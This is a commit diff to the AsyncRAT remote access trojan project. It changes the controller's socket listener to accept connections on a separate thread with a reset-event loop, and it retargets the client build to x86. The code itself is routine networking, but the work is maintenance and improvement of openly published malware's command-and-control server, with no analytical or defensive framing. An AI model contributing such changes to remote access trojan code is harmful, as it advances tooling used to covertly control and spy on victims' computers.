Update

AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs

@@ -5,6 +5,7 @@ using AsyncRAT_Sharp.Sockets;
 using System.Threading.Tasks;
 using Microsoft.VisualBasic;
 using System.Linq;
+using System.Threading;
 
 //       │ Author     : NYAN CAT
 //       │ Name       : AsyncRAT // Simple Socket
@@ -25,7 +26,8 @@ namespace AsyncRAT_Sharp
        async private void Form1_Load(object sender, EventArgs e)
         {
             Listener listener = new Listener();
-            listener.Connect(Settings.Port);
+            Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
+            thread.Start(Settings.Port);
 
             while (true)
             {

AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs

@@ -10,24 +10,26 @@ namespace AsyncRAT_Sharp.Sockets
     class Listener
     {
         public Socket listener { get; set; }
+        public static ManualResetEvent allDone = new ManualResetEvent(false);
 
-        public async void Connect(int port)
+        public void Connect(object port)
         {
             try
             {
                 listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
-                IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port);
+                IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
                 listener.SendBufferSize = 50 * 1024;
                 listener.ReceiveBufferSize = 50 * 1024;
                 listener.ReceiveTimeout = -1;
                 listener.SendTimeout = -1;
                 listener.Bind(IpEndPoint);
-                listener.Listen(50);
+                listener.Listen(20);
 
                 while (true)
                 {
-                    await Task.Delay(1);
+                    allDone.Reset();
                     listener.BeginAccept(EndAccept, null);
+                    allDone.WaitOne();
                 }
             }
             catch (Exception ex)
@@ -44,8 +46,9 @@ namespace AsyncRAT_Sharp.Sockets
                 Clients CL = new Clients();
                 CL.InitializeClient(listener.EndAccept(ar));
             }
-            catch
-            { }
+            catch { }
+
+            finally { allDone.Set(); }
         }
     }
 }

AsyncRAT-C#/Client/Client.csproj

@@ -13,7 +13,7 @@
     <Deterministic>true</Deterministic>
   </PropertyGroup>
   <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
-    <PlatformTarget>AnyCPU</PlatformTarget>
+    <PlatformTarget>x86</PlatformTarget>
     <DebugSymbols>true</DebugSymbols>
     <DebugType>full</DebugType>
     <Optimize>false</Optimize>